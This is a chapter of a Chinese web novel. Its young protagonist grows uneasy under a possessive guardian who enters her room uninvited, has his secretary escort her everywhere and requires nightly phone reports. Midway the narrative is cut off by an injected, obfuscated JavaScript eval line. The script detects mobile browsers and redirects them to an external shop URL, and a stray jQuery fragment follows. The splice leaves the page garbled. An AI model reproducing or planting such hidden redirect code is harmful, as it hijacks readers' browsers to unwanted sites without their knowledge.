洛兰手里端着一个放在盘子里的小三明治,她并不惊讶于能在这里看见蔺兆和,她后退了一步,如实回答:“林小姐今天刚回来就说不用准备她的晚餐,想回卧室睡觉,一直睡到现在。”
蔺兆和皱眉:“没吃晚饭?”
洛兰本分地点头,林姚一向乖巧,吃饭一点也不挑剔,无论她做什么样的菜式林姚都会吃得干干净净,再说这个厨子都用了多久了,应该也不会是口味的问题。
“她回来说什么了吗?”
洛兰摇头:“没有,但我觉得林小姐的心情应该不是很好。”
心情不好,她还能因为什么心情不好。
蔺兆和瞧了眼她手里的三明治,洛兰立刻明白了他的意思,双手递过去,蔺兆和单手接过,然后毫不犹豫地打开房门。
咚——
卧室的门打开,又再度关闭,短短几秒,这个曾经她认为安全无比的空间就闯入了别人。
漆黑的房间里安安静静,只有宽大的软床上凸起了一小团。
窗帘没有拉开,透出的光线足以让蔺兆和分辨方向,大步走了过去。
林姚是听见开门的声音才迅速钻到被子里的。
被子里的空气不流通,空间逼仄,她几乎喘不过来气,可是她已经没时间思考别的了,因为脚步声没有一刻停歇,直至她的床旁。
蔺兆和此刻正在看着她。
林姚把被子盖过头顶,她不会装睡,根本控制不住自己抖动的眼睛,她的耳朵埋在枕头里,听着自己如鼓的心跳。
这样不对。
蔺兆和是不应该这样直接进小女孩的房间的。
无论他是否要结婚,这都是不可以的。
可是如果换做之前,她还在上高中,或者是他们没有吵架,她顺顺利利进入心仪的大学,她竟然会觉得这没什么。
没什么,怎么会觉得没什么呢。
她好奇怪,蔺兆和也好奇怪。
只要披上爱的外衣,她就可以原谅所有看似不合理的管教,可是这些管教到底出自什么?
蔺兆和也像她一样,只是把对方当作可以信任的家人吗?
她的脑门上出了一层汗,直到现在,蔺兆和还没有丝毫要离开的意思,他到底在看什么?
又过了好久好久,林姚终于听到了一丝丝别的声音。
碟子放在旁边的床头柜上,她想象不到蔺兆和的动作,但很快,她就听见了他的声音。
沉闷磁性,他说的悠然,好像就笃定她就是醒着。
“我要去一趟广封,明天就走。”
他这是什么意思?他是故意这么说的吗?
但蔺兆和就是故意这么说的。
他知道林姚肯定没睡,就等着她像之前一样,爬起来黏着他说舍不得,但他说完这话过了好久,被子里的人还是安安静静的。
蔺兆和看着躺在床上的一小团,太阳穴突突地跳,恼火于刚刚才跟林姚在一起了一会儿又要离开,更烦心于这小孩心怎么这么硬。
就为了这么点破事把自己闷在被子里不跟他说话,他都要走了,一点表示都没有。
偏偏他还不能说什么,小孩子有脾气不是什么大事,晾着她自己就能好,万一训出点逆反心理,以她这个臭脾气,简直难以想象。
明明之前那么省心懂事,现在就只知道让人生气,这里把这个叫作什么?叛逆期?那她这叛逆期也来的太晚了吧。
这次一走又是半个月,难说她会不会再做点别的事来气他,他知道她大概率是没那个胆子的,但这件事,实在不好说。
他是个宽容的人,他可以不计前嫌的原谅她闹脾气,但这份宽容就仅限于了。
林姚的呼吸逐渐变得滚烫,她不知道蔺兆和说这话是什么意思,但不久,她就又听到了蔺兆和的声音。
“我不在的时间想去哪里随你心意,乖一点,回来带你去度假。”
又过了好一会儿,林姚再度听到了脚步声,再之后,房门被关上。
一段时间里,林姚竟然疑心他会不会假装关上门要试探她,她又躲了好久好久,最后终于下定决心掀开被子转头去看。
没有人,卧室门口那里没有人。
反应了一会儿,她觉得自己好蠢,蔺兆和那么聪明,怎么看不出来自己在装睡,可是他什么都没说,没有揭穿自己,只是像之前一样,承诺回来之后带她出去玩。
很快,她又被愧疚湮灭,她愧对于那个曾经对她袒露心扉的蔺兆和。
也许叔叔没有那份心思,只是她想多了,也许他只是为了保护照顾自己。
林姚现在满身大汗,发丝不听话地黏在额头上,她的脸蛋憋得通红,捂着脑袋,把头埋在膝盖上。
她真的没办法忘记他们曾经的好。
也许,也许她可以和蔺兆和有互相妥协的选项,他未来会结婚生子,有自己的生活,等到那一天真的到来的时候,她一定会默默祝福,绝不打扰。
她也会有自己的生活,有自己想相伴一生的人,她清楚地知道,左琼诗、余茵悦都是她未来不会接触到的人,就算她们看不惯自己,只要没做出什么出格的事,她都无所谓。
她现在只想着一件事,那就是蔺兆和有未婚妻了,即将就要有自己的家庭了,他应该会理解自己的。
但他真的会吗,真的会理解自己吗?
-
蔺兆和要出差,这就意味着林姚可以不回家住,清晨起来的时候,她的心情还罕见地放松了一瞬。
但也就只是一瞬间,因为她下楼就看见空旷的客厅里站着一个人,是莫里森。
他是蔺兆和从美国一直用到现在的,身边最亲近的秘书。
林姚跟莫里森不仅仅只是认识,曾经她被丢到伦敦反省的时候也是他陪着她,他行为处事既圆滑又刻板,对她不错,但这些全都建立在他对蔺兆和的绝对忠诚上。
总而言之,他不是一个好相处的人。
这可不对劲,莫里森一般只会跟着蔺兆和,可叔叔难道不是要出差吗?他怎么会在这里?
莫里森看见走下楼梯的林姚,微微颔首,有分寸地说了一句林小姐早上好,林姚这才从惊讶中回神,礼貌地回了一句早上好。
“霍尔先生,你怎么在这里?”
她还是没忍住问出了口,莫里森后退半步,给林姚留出空间:“罗卡先生这次离开的时间比较久,放心不下您,所以嘱咐我照顾好您。”
罗卡是蔺兆和原本名字的姓,莫里森一般都这么称呼他。
相比起照顾,林姚却觉得这更像是监视,蔺兆和之前从来没有这样过,是因为上次被他发现兼职的事有所防备吗?
林姚下了楼,手还停留在木质扶手上,有些防备:“那叔叔让你怎么照顾我?”
莫里森不是看不出她的抗拒,但仍然公事公办地回答:“在这段时间,您有任何事都可以告诉我,由我亲自接送您上下学。”
可是她之前明明跟叔叔说好了,他不在家的时候她可以在学校里住的,他自己也同意了。
他现在这是什么意思?
没等她说什么,佣人就带着一排漂亮优雅的女人走到了客厅,林姚觉得这更奇怪了。
莫里森却一点也不惊讶,只是对着佣人点点头,然后转过头对着林姚开口:“林小姐,这些是我初步选出的补习老师,您随意选择,如果都不满意,我会重新为您挑选。”
补习老师,林姚这会儿才终于想起来,那天早饭的时候蔺兆和提过这件事。
蔺兆和决定好的事是改变不了的,林姚松开了手,有些无力:“什么时候上课?”
“上课时间是每天晚饭后的两个小时,结束之后您需要向罗卡先生打电话汇报情况。”
“打电话?每天吗?”
莫里森点头:“是的。”
又是莫里森,又是打电话,无不都说明了一点,那就是蔺兆和仍然不信任她,不信任她真的完全放弃了。
这么一算,属于她自己的时间更是少之又少,更遑论她还要防备蔺兆和发现。
她的心情一下子滑到谷底,莫里森不是不知道她心情不好的原因,但在他的立场上,他不能说别的。
莫里森犹豫片刻,提了个折中的办法:“林小姐,要不然您先去吃早饭,吃完早饭再选。”
林姚抿唇摇头:“不用,你来选就好。”
她本就不上心,选谁都无所谓。
莫里森有些为难,因为老板不是这么嘱咐的,再说等老板问起这件事的时候,他该怎么说,要说林小姐就只是随便选了一个吗?
老板虽然当时不会说什么,但以他的性格,肯定会留个心眼,难说以后会不会发作。
林姚在老板那的地位不一般,他没见过老板对谁这么有耐心过,这两个人,无论惹了谁都不行。
林姚说完就要走,莫里森却稍微向左走了半步,不能算是拦住她,但也足以让她停下脚步:“林小姐,第一位老师是从小在美国长大的华裔,我想她应该会跟您有共同话题,您喜欢这个吗?”
看他的架势,仿佛是她不给一个答案就走不了了,林姚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677154|207527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看着他的眼睛,随意点了点头。
莫里森果然没再拦着她了。
林姚心情七上八下。
吃完饭,莫里森果然又跟着她,有他在,赵师傅连说话都拘束了一些。
今天一整天都是满课,林姚被吓得都不敢在教室里学习,只能挑着不点名的课逃课去别的地方学习。
可是她觉得学的不如之前认真。
晚上,她最担心的英语补习课还是如期开始了。
两个小时,说长也不长,可绝对不算短,距离考试越来越近,她的时间也变得紧迫,无论如何,她都是不愿意让出这两个小时来学这些没用的东西的。
尤其,家教老师辅导的不是应试的东西,而是平时更能用到的日常沟通,她不是不明白蔺兆和的良苦用心,他大概是想让她以后在伦敦能过的舒服一些,所以才让老师教她这些。
可是她不想学英语,不想去国外,她只要多学一秒,就仿佛离伦敦更近了一步。
她愈发觉得即将到来的考试更重要了。
“Alright,dear,doyouhaveanymorequestions?”
林姚这才从思绪里回神,摇摇头:“No,thanks.”
英文老师点头微笑,跟她说如果有任何问题随时找她,林姚客气地点头,跟着她站了起来,送她到了卧室门口。
现在已经九点半,这已经是她平时要休息的时间了,可是她没有丝毫睡意,满脑子都是浪费的时间,今天白天也没学进去,快要考试了,她这样可不行。
这样下去都不用等叔叔不同意了,反正她自己也考不上去。
想谁就来谁,林姚的电话突兀地叮叮咚咚地响了起来,她吓了一大跳,因为只有叔叔的铃声是不一样的。
手机震动得左右摇晃,林姚硬着头皮拿起来,他都主动给她打电话了,她要是不接就更完蛋了。
林姚拿着手机,脸蛋憋得有点红扑扑的,电话那头却安安静静的,她没忍住先开了口:“叔叔?”
蔺兆和沉沉地应了一声,那声音仿佛是从胸腔里出来的。
“嗯。”
但蔺兆和等了半天也不见她主动开口,他有些恼火,但他决定不跟这小孩计较:“今天学什么了?”
林姚的心跳加速,英文老师讲课的时候她一直都在想别的,两个小时几乎什么都没听进去,她踌躇了一会儿,电话那头就急不可耐地催促她:“说话。”
“就,就是对话什么的,我听不太懂……”
她这话说的极没底气,她不擅长说谎,尤其是在蔺兆和面前说谎,更何况她这句话还藏了点自己的小心思。
太难了,所以别让她学了好不好?
蔺兆和沉默片刻,发出了短促的哼笑声:“听不懂?偷奸耍滑的时候聪明得要命,学点英语就开始听不懂了?”
林姚脑袋僵了一瞬,她以为蔺兆和听懂了她话里的弦外之音,所以在敲打她,但蔺兆和却没那意思,就是说着玩玩而已。
“听话点,好好学,要是我回来了还是听不懂,你就只能待在家里学,哪都不能去,明白吗?”
林姚还能说什么,只能低低地说了句好。
可是蔺兆和似乎还是心情很好的模样,他并不把他的话当作训斥和威胁,因为他说的全是事实,他真的会那么做,而且还是理所当然地做。
不过抛开一切来说,林姚乖巧的模样总会让他心情不错,即使只是听到声音。
旁边的秘书提醒他会议即将开始,蔺兆和又想京北那边估计已经快十点了,这小孩天天睡的早,再多说点估计会影响她睡觉:“行了,你快去睡觉,明天再说。”
明天再说,他们明天还要打电话。
叔叔丝毫没有提她要天天回家的事,也没有提莫里森必须跟着她的事,仿佛这才是正常的,仿佛他做所有的决定就是正确的,不能丝毫动摇,她只能乖乖遵从。
假如她真的跟着蔺兆和去了伦敦生活,那里是他更熟悉、权利更大的地方,他只会变本加厉,只会一如既往不允许她离开他,不允许她做跟他没有关系的事。
但倘若那时他已经结婚了呢?她该用什么身份继续留在他身边?
林姚的心跳得迅速,也许是因为蔺兆和是西方人,也许是他从小生长的环境不同,身边没有人教过他,她知道他根本就没有丝毫的礼义廉耻,真到了那个时候,他只会旁若无人地把她继续留在身边。
他是无所谓,那她呢?她算什么?
她突然觉得一阵恶心。